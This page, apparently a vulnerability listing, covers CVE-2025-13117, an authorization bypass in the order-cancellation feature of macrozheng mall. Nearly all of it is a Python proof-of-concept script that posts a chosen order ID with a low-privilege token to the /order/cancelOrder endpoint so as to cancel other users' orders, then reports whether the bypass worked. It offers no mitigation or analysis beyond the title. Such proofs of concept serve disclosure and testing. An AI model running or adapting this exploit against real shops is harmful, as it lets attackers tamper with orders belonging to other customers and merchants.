CVE-2025-13117 | macrozheng mall 订单取消功能授权绕过漏洞

import requests # CVE-2025-13117 PoC - macrozheng mall Authorization Bypass # Target: mall-swarm / mall up to version 1.0.3 # Vulnerability: Improper Authorization in /order/cancelOrder target_url = "http://target-server/api/order/cancelOrder" # Authenticated session with low-privilege account headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" # Replace with valid token } # Malicious payload - manipulate orderId to cancel other users' orders payload = { "orderId": 123456 # Replace with target order ID to cancel } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('success') or result.get('code') == 200: print("[+] Order cancellation successful - Authorization bypass confirmed") print(f"[+] Response: {result}") else: print("[-] Request failed or order not found") else: print(f"[-] HTTP {response.status_code}: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")